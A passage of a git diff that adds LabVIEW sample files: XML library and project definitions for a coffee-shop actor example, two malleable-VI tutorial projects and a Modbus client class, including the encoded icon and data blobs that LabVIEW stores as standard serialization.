+		<Item Name="Add Barista Msg.lvclass" Type="LVClass" URL="../Coffee Shop Messages/Add Barista Msg/Add Barista Msg.lvclass"/>
+		<Item Name="Add Cashier Msg.lvclass" Type="LVClass" URL="../Coffee Shop Messages/Add Cashier Msg/Add Cashier Msg.lvclass"/>
+		<Item Name="Add Customer Msg.lvclass" Type="LVClass" URL="../Coffee Shop Messages/Add Customer Msg/Add Customer Msg.lvclass"/>
+		<Item Name="Fwd Message to Nested Actor Msg.lvclass" Type="LVClass" URL="../Coffee Shop Messages/Fwd Message to Nested Actor Msg/Fwd Message to Nested Actor Msg.lvclass"/>
+		<Item Name="Remove Barista Msg.lvclass" Type="LVClass" URL="../Coffee Shop Messages/Remove Barista Msg/Remove Barista Msg.lvclass"/>
+		<Item Name="Remove Cashier Msg.lvclass" Type="LVClass" URL="../Coffee Shop Messages/Remove Cashier Msg/Remove Cashier Msg.lvclass"/>
+		<Item Name="Remove Customer Msg.lvclass" Type="LVClass" URL="../Coffee Shop Messages/Remove Customer Msg/Remove Customer Msg.lvclass"/>
+		<Item Name="Update Entity Details Msg.lvclass" Type="LVClass" URL="../Coffee Shop Messages/Update Entity Details Msg/Update Entity Details Msg.lvclass"/>
+	</Item>
+	<Item Name="Coffee Shop.lvclass" Type="LVClass" URL="../Coffee Shop/Coffee Shop.lvclass"/>
+</Library>
diff --git a/samples/LabVIEW/Customer.lvlib b/samples/LabVIEW/Customer.lvlib
new file mode 100755
index 0000000000..d3755a8157
--- /dev/null
+++ b/samples/LabVIEW/Customer.lvlib
@@ -0,0 +1,12 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<Library LVVersion="19008000">
+	<Property Name="NI.Lib.Icon" Type="Bin">'1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!(]!!!*Q(C=\&gt;8"&lt;2MR%!813:!!O;K$1#V-#WJ",5Q,OPKI&amp;K9&amp;N;!7JA7VI";=JQVBZ"4F%#-ZG/O26X_ZZ$/87%&gt;M\6P%FXB^VL\_NHV=@X&lt;^39O0^N(_&lt;8NZOEH@@=^_CM?,3)VK63LD-&gt;8LS%=_]J'0@/1N&lt;XH,7^\SFJ?]Z#5P?=F,HP+5JTTF+5`Z&gt;MB$(P+1)YX*RU2DU$(![)Q3YW.YBG&gt;YBM@8'*\B':\B'2Z&gt;9HC':XC':XD=&amp;M-T0--T0-.DK%USWS(H'2\$2`-U4`-U4`/9-JKH!&gt;JE&lt;?!W#%;UC_WE?:KH?:R']T20]T20]\A=T&gt;-]T&gt;-]T?/7&lt;66[UTQ//9^BIHC+JXC+JXA-(=640-640-6DOCC?YCG)-G%:(#(+4;6$_6)]R?.8&amp;%`R&amp;%`R&amp;)^,WR/K&lt;75?GM=BZUG?Z%G?Z%E?1U4S*%`S*%`S'$;3*XG3*XG3RV320-G40!G3*D6^J-(3D;F4#J,(T\:&lt;=HN+P5FS/S,7ZIWV+7.NNFC&lt;+.&lt;GC0819TX-7!]JVO,(7N29CR6L%7,^=&lt;(1M4#R*IFV][.DX(X?V&amp;6&gt;V&amp;G&gt;V&amp;%&gt;V&amp;\N(L@_Z9\X_TVONVN=L^?Y8#ZR0J`D&gt;$L&amp;]8C-Q_%1_`U_&gt;LP&gt;WWPAO_0NB@$TP@4C`%`KH@[8`A@PRPA=PYZLD8Y![_ML^!!!!!!</Property>
+	<Property Name="NI.Lib.SourceVersion" Type="Int">419463168</Property>
+	<Property Name="NI.Lib.Version" Type="Str">1.0.0.0</Property>
+	<Property Name="NI.LV.All.SourceOnly" Type="Bool">true</Property>
+	<Item Name="Messages for this Actor" Type="Folder">
+		<Item Name="Pick up Item Msg.lvclass" Type="LVClass" URL="../Customer Messages/Pick up Item Msg/Pick up Item Msg.lvclass"/>
+		<Item Name="Update order number Msg.lvclass" Type="LVClass" URL="../Customer Messages/Update order number Msg/Update order number Msg.lvclass"/>
+	</Item>
+	<Item Name="Customer.lvclass" Type="LVClass" URL="../Customer/Customer.lvclass"/>
+</Library>
diff --git a/samples/LabVIEW/Malleable VIs - Nested Malleable VIs.lvproj b/samples/LabVIEW/Malleable VIs - Nested Malleable VIs.lvproj
new file mode 100755
index 0000000000..b0cb1925de
--- /dev/null
+++ b/samples/LabVIEW/Malleable VIs - Nested Malleable VIs.lvproj	
@@ -0,0 +1,67 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<Project Type="Project" LVVersion="19008000">
+	<Property Name="NI.LV.All.SourceOnly" Type="Bool">true</Property>
+	<Property Name="NI.LV.ExampleFinder" Type="Str">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;ExampleProgram&gt;&lt;Title&gt;	&lt;Text Locale="US"&gt;Malleable VIs - Nested Malleable VIs.lvproj&lt;/Text&gt;&lt;/Title&gt;&lt;Keywords&gt;	&lt;Item&gt;polymorphic&lt;/Item&gt;	&lt;Item&gt;malleable&lt;/Item&gt;	&lt;Item&gt;VI&lt;/Item&gt;	&lt;Item&gt;Array&lt;/Item&gt;	&lt;Item&gt;sort&lt;/Item&gt;	&lt;Item&gt;search&lt;/Item&gt;&lt;/Keywords&gt;&lt;Navigation&gt;	&lt;Item&gt;7038&lt;/Item&gt;&lt;/Navigation&gt;&lt;FileType&gt;LV Project&lt;/FileType&gt;&lt;Metadata&gt;&lt;Item Name="RTSupport"&gt;LV Project&lt;/Item&gt;&lt;/Metadata&gt;&lt;ProgrammingLanguages&gt;&lt;Item&gt;LabVIEW&lt;/Item&gt;&lt;/ProgrammingLanguages&gt;&lt;RequiredSoftware&gt;&lt;NiSoftware MinVersion="18.0"&gt;LabVIEW&lt;/NiSoftware&gt; &lt;/RequiredSoftware&gt;&lt;/ExampleProgram&gt;</Property>
+	<Property Name="NI.Project.Description" Type="Str">This example shows how you can use nested malleable VIs to create particularly flexible APIs. The particular API demonstrated is for searching and sorting arrays, but the principles apply to many other APIs.</Property>
+	<Item Name="My Computer" Type="My Computer">
+		<Property Name="server.app.propertiesEnabled" Type="Bool">true</Property>
+		<Property Name="server.control.propertiesEnabled" Type="Bool">true</Property>
+		<Property Name="server.tcp.enabled" Type="Bool">false</Property>
+		<Property Name="server.tcp.port" Type="Int">0</Property>
+		<Property Name="server.tcp.serviceName" Type="Str">My Computer/</Property>
+		<Property Name="server.tcp.serviceName.default" Type="Str">My Computer/</Property>
+		<Property Name="server.vi.callsEnabled" Type="Bool">true</Property>
+		<Property Name="server.vi.propertiesEnabled" Type="Bool">true</Property>
+		<Property Name="specify.custom.address" Type="Bool">false</Property>
+		<Item Name="Lesson 1 code" Type="Folder">
+			<Item Name="Incorrect - Shuffle Bytes.vim" Type="VI" URL="../Incorrect - Shuffle Bytes.vim"/>
+			<Item Name="Inefficient - Shuffle Bytes.vim" Type="VI" URL="../Inefficient - Shuffle Bytes.vim"/>
+			<Item Name="Recommended - Shuffle Bytes.vim" Type="VI" URL="../Recommended - Shuffle Bytes.vim"/>
+		</Item>
+		<Item Name="Lesson 2a code" Type="Folder">
+			<Item Name="Equal Via Regular Expression Functor.lvclass" Type="LVClass" URL="../Equal Via Regular Expression Functor/Equal Via Regular Expression Functor.lvclass"/>
+			<Item Name="String Equals Ignore Case.vi" Type="VI" URL="../String Equals Ignore Case.vi"/>
+		</Item>
+		<Item Name="Lesson 2b code" Type="Folder">
+			<Item Name="String With Equals.lvclass" Type="LVClass" URL="../String With Equals/String With Equals.lvclass"/>
+			<Item Name="String Without Equals.lvclass" Type="LVClass" URL="../String Without Equals/String Without Equals.lvclass"/>
+		</Item>
+		<Item Name="Lesson 3 code" Type="Folder">
+			<Item Name="Equal With Epsilon Functor.lvclass" Type="LVClass" URL="../Equal With Epsilon Functor/Equal With Epsilon Functor.lvclass"/>
+		</Item>
+		<Item Name="Lesson 4 code" Type="Folder">
+			<Item Name="String Less Than Ignore Case.vi" Type="VI" URL="../String Less Than Ignore Case.vi"/>
+			<Item Name="String Less Than Ignore Case_Wrong Conpane.vi" Type="VI" URL="../String Less Than Ignore Case_Wrong Conpane.vi"/>
+		</Item>
+		<Item Name="Lesson 5 code" Type="Folder">
+			<Property Name="NI.SortType" Type="Int">0</Property>
+			<Item Name="Numeric Strings Less Functor.lvclass" Type="LVClass" URL="../Numeric Strings Less Functor/Numeric Strings Less Functor.lvclass"/>
+		</Item>
+		<Item Name="Nested Malleable VIs - Lesson 1.vi" Type="VI" URL="../Nested Malleable VIs - Lesson 1.vi"/>
+		<Item Name="Nested Malleable VIs - Lesson 2a.vi" Type="VI" URL="../Nested Malleable VIs - Lesson 2a.vi"/>
+		<Item Name="Nested Malleable VIs - Lesson 2b.vi" Type="VI" URL="../Nested Malleable VIs - Lesson 2b.vi"/>
+		<Item Name="Nested Malleable VIs - Lesson 3.vi" Type="VI" URL="../Nested Malleable VIs - Lesson 3.vi"/>
+		<Item Name="Nested Malleable VIs - Lesson 4.vi" Type="VI" URL="../Nested Malleable VIs - Lesson 4.vi"/>
+		<Item Name="Nested Malleable VIs - Lesson 5.vi" Type="VI" URL="../Nested Malleable VIs - Lesson 5.vi"/>
+		<Item Name="Dependencies" Type="Dependencies">
+			<Item Name="vi.lib" Type="Folder">
+				<Item Name="Equal Comparable.lvclass" Type="LVClass" URL="/&lt;vilib&gt;/Comparison/Equal/Equal Comparable/Equal Comparable.lvclass"/>
+				<Item Name="Equal Functor.lvclass" Type="LVClass" URL="/&lt;vilib&gt;/Comparison/Equal/Equal Functor/Equal Functor.lvclass"/>
+				<Item Name="Equals.vim" Type="VI" URL="/&lt;vilib&gt;/Comparison/Equals.vim"/>
+				<Item Name="Insert Into Sorted Array.vim" Type="VI" URL="/&lt;vilib&gt;/Array/Insert Into Sorted Array.vim"/>
+				<Item Name="Less Comparable.lvclass" Type="LVClass" URL="/&lt;vilib&gt;/Comparison/Less/Less Comparable/Less Comparable.lvclass"/>
+				<Item Name="Less Functor.lvclass" Type="LVClass" URL="/&lt;vilib&gt;/Comparison/Less/Less Functor/Less Functor.lvclass"/>
+				<Item Name="Less.vim" Type="VI" URL="/&lt;vilib&gt;/Comparison/Less.vim"/>
+				<Item Name="Search Sorted 1D Array.vim" Type="VI" URL="/&lt;vilib&gt;/Array/Search Sorted 1D Array.vim"/>
+				<Item Name="Search Unsorted 1D Array Core.vim" Type="VI" URL="/&lt;vilib&gt;/Array/Helpers/Search Unsorted 1D Array Core.vim"/>
+				<Item Name="Search Unsorted 1D Array.vim" Type="VI" URL="/&lt;vilib&gt;/Array/Search Unsorted 1D Array.vim"/>
+				<Item Name="Shuffle 1D Array.vim" Type="VI" URL="/&lt;vilib&gt;/Array/Shuffle 1D Array.vim"/>
+				<Item Name="Sort 1D Array Core.vim" Type="VI" URL="/&lt;vilib&gt;/Array/Helpers/Sort 1D Array Core.vim"/>
+				<Item Name="Sort 1D Array.vim" Type="VI" URL="/&lt;vilib&gt;/Array/Sort 1D Array.vim"/>
+				<Item Name="Two-Way Comparison Versus Array Element.vim" Type="VI" URL="/&lt;vilib&gt;/Array/Helpers/Two-Way Comparison Versus Array Element.vim"/>
+			</Item>
+		</Item>
+		<Item Name="Build Specifications" Type="Build"/>
+	</Item>
+</Project>
diff --git a/samples/LabVIEW/Malleable VIs Basics.lvproj b/samples/LabVIEW/Malleable VIs Basics.lvproj
new file mode 100755
index 0000000000..fc741dddda
--- /dev/null
+++ b/samples/LabVIEW/Malleable VIs Basics.lvproj	
@@ -0,0 +1,62 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<Project Type="Project" LVVersion="19008000">
+	<Property Name="Localized" Type="Str">Localize</Property>
+	<Property Name="NI.LV.All.SourceOnly" Type="Bool">true</Property>
+	<Property Name="NI.LV.ExampleFinder" Type="Str">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;ExampleProgram&gt;
+&lt;Title&gt;
+	&lt;Text Locale="US"&gt;Malleable VIs Basics.lvproj&lt;/Text&gt;
+&lt;/Title&gt;
+&lt;Keywords&gt;
+	&lt;Item&gt;polymorphic&lt;/Item&gt;
+	&lt;Item&gt;basics&lt;/Item&gt;
+	&lt;Item&gt;malleable&lt;/Item&gt;
+	&lt;Item&gt;VI&lt;/Item&gt;
+	&lt;Item&gt;VIs&lt;/Item&gt;
+&lt;/Keywords&gt;
+&lt;Navigation&gt;
+	&lt;Item&gt;7038&lt;/Item&gt;
+&lt;/Navigation&gt;
+&lt;FileType&gt;LV Project&lt;/FileType&gt;
+&lt;Metadata&gt;
+&lt;Item Name="RTSupport"&gt;LV Project&lt;/Item&gt;
+&lt;/Metadata&gt;
+&lt;ProgrammingLanguages&gt;
+&lt;Item&gt;LabVIEW&lt;/Item&gt;
+&lt;/ProgrammingLanguages&gt;
+&lt;RequiredSoftware&gt;
+&lt;NiSoftware MinVersion="17.0"&gt;LabVIEW&lt;/NiSoftware&gt; 
+&lt;/RequiredSoftware&gt;
+&lt;/ExampleProgram&gt;</Property>
+	<Property Name="NI.Project.Description" Type="Str">This example provides an introduction to malleable VI, a feature that allows you to write one VI that performs the same operation on different data types instead of saving a separate copy of the VI for each data type. A malleable VI is similar to a polymorphic VI, but where a polymorphic VI allows type selection among a fixed set of implementation VIs, a malleable VI is a single VI that automatically adapts itself to input data types. It is simpler to create widely varying implementations with a polymorphic VI, but the malleable VI supports an open-ended set of data types.</Property>
+	<Item Name="My Computer" Type="My Computer">
+		<Property Name="server.app.propertiesEnabled" Type="Bool">true</Property>
+		<Property Name="server.control.propertiesEnabled" Type="Bool">true</Property>
+		<Property Name="server.tcp.enabled" Type="Bool">false</Property>
+		<Property Name="server.tcp.port" Type="Int">0</Property>
+		<Property Name="server.tcp.serviceName" Type="Str">My Computer/VI Server</Property>
+		<Property Name="server.tcp.serviceName.default" Type="Str">My Computer/VI Server</Property>
+		<Property Name="server.vi.callsEnabled" Type="Bool">true</Property>
+		<Property Name="server.vi.propertiesEnabled" Type="Bool">true</Property>
+		<Property Name="specify.custom.address" Type="Bool">false</Property>
+		<Item Name="support" Type="Folder">
+			<Item Name="1D Array Last Element.vim" Type="VI" URL="../support/1D Array Last Element.vim"/>
+		</Item>
+		<Item Name="Malleable VIs Basics Lesson 1.vi" Type="VI" URL="../Malleable VIs Basics Lesson 1.vi"/>
+		<Item Name="Malleable VIs Basics Lesson 2.vi" Type="VI" URL="../Malleable VIs Basics Lesson 2.vi"/>
+		<Item Name="Malleable VIs Basics Lesson 3.vi" Type="VI" URL="../Malleable VIs Basics Lesson 3.vi"/>
+		<Item Name="Dependencies" Type="Dependencies">
+			<Item Name="vi.lib" Type="Folder">
+				<Item Name="Assert Block Data Type.vim" Type="VI" URL="/&lt;vilib&gt;/Utility/TypeAssert/Assert Block Data Type.vim"/>
+				<Item Name="Increment Array Element.vim" Type="VI" URL="/&lt;vilib&gt;/Array/Increment Array Element.vim"/>
+				<Item Name="Is Value Changed.vim" Type="VI" URL="/&lt;vilib&gt;/Utility/Is Value Changed.vim"/>
+				<Item Name="Shuffle 1D Array.vim" Type="VI" URL="/&lt;vilib&gt;/Array/Shuffle 1D Array.vim"/>
+				<Item Name="Sort 2D Array - Pop Stack.vi" Type="VI" URL="/&lt;vilib&gt;/Array/Sort 2D Array - Pop Stack.vi"/>
+				<Item Name="Sort 2D Array - Push Stack.vi" Type="VI" URL="/&lt;vilib&gt;/Array/Sort 2D Array - Push Stack.vi"/>
+				<Item Name="Sort 2D Array.vim" Type="VI" URL="/&lt;vilib&gt;/Array/Sort 2D Array.vim"/>
+				<Item Name="Stall Data Flow.vim" Type="VI" URL="/&lt;vilib&gt;/Utility/Stall Data Flow.vim"/>
+			</Item>
+		</Item>
+		<Item Name="Build Specifications" Type="Build"/>
+	</Item>
+</Project>
diff --git a/samples/LabVIEW/PL Modbus Client.lvclass b/samples/LabVIEW/PL Modbus Client.lvclass
new file mode 100644
index 0000000000..c0e9bfc840
--- /dev/null
+++ b/samples/LabVIEW/PL Modbus Client.lvclass	
@@ -0,0 +1,215 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<LVClass LVVersion="15008000">
+	<Property Name="NI.Lib.HelpPath" Type="Str"></Property>
+	<Property Name="NI.Lib.Icon" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!*)!!!*Q(C=\&gt;5`&lt;BJ"&amp;-@R8[Q5;&lt;G"25@^DB!K*-NSQ26?DRN;FVTB&amp;&lt;E!6[!FX:-\FRT"8'(^H?%&amp;9Q7:)L'3QL0-'HY\@TY\/VJ,P8S4PGKY6"&lt;PFMP87Y0BU("Y066WG+&amp;^7P$\K&lt;=?XK;H`9`DH_N`[(ZW`O000\_`C`@`@N&amp;H_3T`NDR=X+1@PG?`K,W)K%E.KF..&lt;;IBS:-]S:-]S:-]S)-]S)-]S)0=S:X=S:X=S:X=S)X=S)X=S)W](_1C&amp;\H))374*R-FAS9$*)WB+$EFHM34?")00Z6Y%E`C34S*BS:+0)EH]33?R%-X*:\%EXA34_*BK#\*@J$D34Q-L]!4?!*0Y!E]4+H!%Q##S9+"AU&amp;A+,A9@!E]A3@Q]&amp;7"*`!%HM!4?,CMQ".Y!E`A#4RU[;M38&gt;-/=DQ-)]@D?"S0YX%]$#X(YXA=D_.R0%QHR_.Y()1TI4-Y"$G&gt;H!&lt;/$]@D?0ADR_.Y()`D=4R=[E`)_]IU44P)]2A?QW.Y$)`B91A:(M.D?!S0Y7&amp;9'2\$9XA-D_&amp;B+BE?QW.Y$)AR+&gt;0,'-TI;$1S!M0$J_]7[U]JOM4[)&gt;8G67V+V7:4&lt;3,6ZF!^&gt;.8$6$UEV?+L&amp;F7V7+J&amp;5.W=#KX#K#:2&gt;7Y.N??]IW[I;_K+OK4/K60KG$JK8@^SQ`V_L^VOJ]VGI`6[L&gt;6KJ?6SK@F]LOFUKP&amp;YL.&amp;I&gt;(Q.8(-=8QC(^^)$XVP&gt;0N\@0E^G&gt;U_4_ZO@E^HX\?0CR[^LL8\1`^,`Y.WI+ZW/SRK^!&amp;BCVZ-!!!!!</Property>
+	<Property Name="NI.Lib.SourceVersion" Type="Int">352354304</Property>
+	<Property Name="NI.Lib.Version" Type="Str">1.0.0.4</Property>
+	<Property Name="NI.LV.All.SourceOnly" Type="Bool">true</Property>
+	<Property Name="NI.LVClass.ClassNameVisibleInProbe" Type="Bool">true</Property>
+	<Property Name="NI.LVClass.FlattenedPrivateDataCTL" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!$@.5F.31QU+!!.-6E.$4%*76Q!!-T1!!!3:!!!!)!!!-R1!!!!&gt;!!!!!2B14#".&lt;W2C&gt;8-A1WRJ:7ZU,GRW9WRB=X-!!!!!!!#1&amp;1#!!!!Q!!!I!!1!!!!!"!!$!$Q!P!!@1)!#!!!!!!%!!1!'`````Q!!!!!!!!!!!!!!!%;X!@LFH:J0H,TA!D,C'GU!!!!-!!!!%!!!!!###"(G+EN+4J3^'#K!)9L$V"W-W9]!MA4JA!G9\0B#@A!!%!!!!!!!:JTF)=\)GUKHH39!GH+M&gt;1%!!!$`````!!!!%-7'"QT4E+0T7@17)A-DT$Q!!!!%!!!!!!!!!#=!!5R71U-!!!!"!!*735R#!!!!!&amp;"53$!!!!!&amp;!!%!!1!!!!!#!!-!!!!!!A!"!!!!!!!B!!!!'(C=9W"D9'JAO-!!R)Q/4!V-#5$7"Y9!"A!`917/!!!!!!!!%A!!!"JYH'0A:O$!#BE!";5!:!!!!!!!8!!!!4ZYH'.AQ!4`A1")-4)QM$1!;29U=4!.9V-4Y$)8FVV1=7;I'VE:))ZGV)&amp;)-RZC9/"A9',A1OBA`)&lt;1$.4Y!EATA5S!GO1!E7*R10)U(0"$[1N)9A#FLCH%!!!!$!!"6EF%5Q!!!!!!!Q!!!:!!!!/I?*RL9'2A++]Q-R&amp;A9G"A"L*&amp;'2I9EP.45HE:A(Q'*)$#)2UU1)X11B-X0(!Y$1DU_/6&lt;Q(S0ZD=;HMU`G%I&amp;08&lt;!V0S`Y.&amp;]2//Q2X=D3/CY1Q*994?DY368QQ0`*VQ!;Q-KY*&gt;X!/N([04J0/D4?1KE#G*%WA31@%/F.5-*O_%"M.$RRC_-%-59&amp;B*LHE@H"9_$$VA]Y=K]EE59@"A0?(3[="E=&gt;_%+%!/:THA+CQ5-95!$&amp;$Q[TS(E&gt;D&amp;#&amp;(3T??S%C8FU?A3A]$31?2XA%%!7_)!O]!$&amp;@U$,&amp;?)/9U93%+R^@7]8+Z"G1B*T9)$%HRY$)Q0)=3#S&amp;SJH!W1T1=6EI')A^DMI7Q.*$R=D4.Y?,L9-KIY*33Q-S6[9W&amp;GQ72"XM%(&amp;Z)#3#["M(3#\!-KW!L)01.H?1,9!F"U$-1T-TI7SH@V&gt;8&amp;%]#Q0-+"41HQQ-S&lt;E&amp;"A:[V;HB.E:W/E$3W%[HV%GHV%@(3;?[+!D%+!W(IVKA7*J/-*24;QX38Z"=2K:W"A"]2;=@!!!#.1!!!YRYH'V4TWM4123?H?RB&lt;AO#E'01(!)OMF72Y*;S4:0[WE;4.J)6,%KJX9M%3]FKN&lt;9%1N#YT+X_#2Y&amp;4[6[SA`"[#F8,[,(M"Y]CR$@G^WUN4LMTHTPT8P@P0@NL--9?\R^^=IXTFB#9_QM;\$VB`=XW+G23:TW2+0K6K$ZIQTN9BKA@3PN?)(GW&gt;T9\RANC@MA:TGU]\AJHS*Y2A%,X,-8-;4L0Q)*0-K6,F@Z,RV_\4LF_WO9K]?Z7QDK;3&gt;9U/V&amp;H4+,)'_D&lt;Z5W^X2&amp;X.D4G@'KW^CGJ@&gt;C;!WMTX84//B!][=W'G*TC%=$N8:(H&gt;A_D/WXO%+T(X-W0U;=:'5*78!Y;2H;8[$^KT$6+5R^'A^&lt;(;SV,ICK2B2S4F$.77R)5%.7M#4MEM#;D&gt;:X*1DIV(&amp;WUJ4F"9\OW4F&gt;;&gt;9`I2G'6*5I6K4:4;Z98E=M@-,#*SQ9EIO5@`YXS\Q#'$+,)@.+X"I7GIT&amp;,37*SC%L1SA66*+WGT4W?`Y3S%V"`"G14Q1*E9*A75!!YFC1]8!])"(/IQDB!R1T^!CN%6IFZ.+U9BTUQBN9D)A/EC7B$P/#KP"M6^"R&amp;U#76=?YP;R!+OJLFIJ_B`L3.Q-DXQU43!@.$_5\^_\W`X]VV8A4@HW06ZNJ*XQ/PG@1I]8_-0;@9]EDXW`N/*&lt;'8#F@'0*`_3@`"960Y\N?W\3MCTM&lt;\P3F'20HST/GHT0^IJET&gt;\:7#0DOU&lt;/,0M_MR-&lt;O(U-:_FE!!!!!!!&amp;I!!!#C(C==W"A9#CP-$0ZQ-D!Q!T%IAQ.$-HZ+;E-;%#&amp;#6U%!M,#0:L@2(BU_KA%?(3'K(CE&gt;4/G\72E3'P_Q:D'\X9CL:-L&lt;3=4A]=/G(K0\BKASNZQ*J$K!)^OI";0XC)ALQ3ENZYJL@E`%V$D_&lt;2/,S;0&lt;J#JP9%I;KO!P"I6DSZ0JA[%#B95&amp;3RA&amp;&gt;W?,*V?,0B5&gt;(GS&gt;/"8Y&gt;&amp;&gt;#:1PZ!%;*O,2[18%24Q?H65Q0:53)&amp;6Q8UC!@1%3=A#R,,I^*4K^*%"K(9"K/3!3X5!*D_:D('!61(/"D%``,\1?+!7K=1&gt;S8%#+X=!-C\2O&gt;Y[U4D=/QQ.11S""Y1#SU!)7&amp;%"6HETAY'I_%B%@&gt;RB\0-(!WN@X&gt;A'DG9%23=Q"C,/!)D"R$32R%($W&gt;X&amp;^A+Q",5W!J+S"/,EAO5SP/D8=RMB/"UA;W_G5/OG5_OAY[618"9%9J?&amp;Q6!M53^-*BH*K'1"&lt;B[+&lt;!!!!$"5!A#1!!!1R.3YQ!!!!!!Q6!)!!!!!%-45O-!!!!!!-&amp;1#!*!!!"$%V,D!!!!!!$"5!A!!!!!1R.3YQ!!!!!!Q6!)!E!!!%-45O-!!!!!!5!1!!!068.9*Z*K+-,H.34A:*/:U!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!)$`````A!!!!9!!!!(%TH*0\3F+5&gt;5J=EX&amp;+5J$R-ZRH9!!!!'!!!!"A!!!!@````_!!!!"A!!!!9!!!!'!!!!"A!!!!9!!!!'!!!!"A!!!!9!!!!'!!!!"A!!!!9!!!!'!!!!"A!!!!9!!!!'!!!!"A!!!!9!!!!'!!!!"`````Q!!!A$``````````````````````&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X`X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;`^X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X@`&gt;$&gt;U.U.U!X1$&gt;$1X1$&gt;X`X1$1$1U.$1U.$1U.$&gt;X&gt;`^U.$1U.$1U.!.U.$&gt;$&gt;X@`&gt;$&gt;U.$1U.$1U.$1X&gt;$&gt;X`X1X&gt;$&gt;$&gt;!.U!X1!.!.X&gt;`^X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X@`&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X&gt;X``````````````````````Q!!!!!!!!!!!!!!!!!!!0]!!!!!!!!!!!!!!!!!!!$`!!$`!!`Q!0`Q!0``!!!!`Q!!`Q!0]!]!$Q$Q!0!!!0]!!0$Q]0$Q!!$Q]!!0!!$`!!$Q]0$Q]!!!]0!!$Q!!`Q!!]!]!]0!!!0$Q!!]!!0]!!0!0!0!0!!]!]!$Q!!$`!!$Q!!$Q!0`Q!0``!!!!`Q!!!!!!!!!!!!!!!!!!!0]!!!$``Q$Q!!]!``]!!!$`!!!!]!$Q]!!0$Q!!!!!!`Q!!!0!!]0!!$Q]!!!!!!0]!!!$``Q$Q!!]!``!!!!$`!!!!]!$Q]!!0!!!0!!!!`Q!!!0!!]0!!$Q!!$Q!!!0]!!!$``Q!0``!0``!!!!$`!!!!!!!!!!!!!!!!!!!!`Q!!!!!!!!!!!!!!!!!!!0`````````````````````Q!!"!$```````````````````````````````````````````^R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8(``X&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=@```X&amp;R=@^R=@``=8(```^R=@```X&amp;R`X&amp;R`X&amp;R`````````X(``X(`=8(`=@^R=@^R`X&amp;R`X(`=8(`=@^R=8(```^R`X(`=@^R=@^R`X&amp;R`X(```^R=@^R=@^R=@``=@```X&amp;R=@^R`X&amp;R`X(`=8(`=@^R=@^R`X&amp;R`X&amp;R=8(`````=8&amp;R`X&amp;R``^R=@```X&amp;R````=8&amp;R``^R=@```X(``X&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=@``=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R``^R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8&amp;R=8(`````````````````````````````````````````````!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!``]!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$``Q!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0``!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!``]!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$``Q!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0``!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!``]!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$``Q!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0``!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!``]!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$``Q!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0``!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!``]!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$``Q!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0``!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!``]!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$``Q!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0``!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!````````````````````````````````````````````!!!!$!!"2F")5!!!!!!!!Q!!!.%6!)!!!!!!!1!%!!!!!1!!!!!!"!!!!!ND&lt;'&amp;T=V.U=GFO:R5!A!!!!!!"!!A!-0````]!!1!!!!!!%D]K/DII35Z46&amp;*]5U^$3U65+1!!!!!!!!!.:'FT='RB?5:J&lt;(2F=B5!A!!!!!!"!!5!"Q!!!1!!!!%A!!!!!!!!!!!,;8.36%.P&lt;H2F?(16!)!!!!!!!1!&amp;!!=!!!%!!!!!!!!!!!!!!!!!#82Z='6$&lt;'&amp;T=R5!A!!!!!!"!!A!-0````]!!1!!!!!!"5FO=X2S!!!!!!!!!!!!$!-!!$,N?*T.7XNQ6.5:`_\&gt;V^V.1H9$);Q6=B0OLB&amp;#1%;&amp;)L6)&amp;DM)EEBY++/7*8?DK\!&lt;&gt;T?#N97I/YT;=&gt;I:CK/WN-ZUBH;MD_EQ5`_1'11$&gt;LL67NO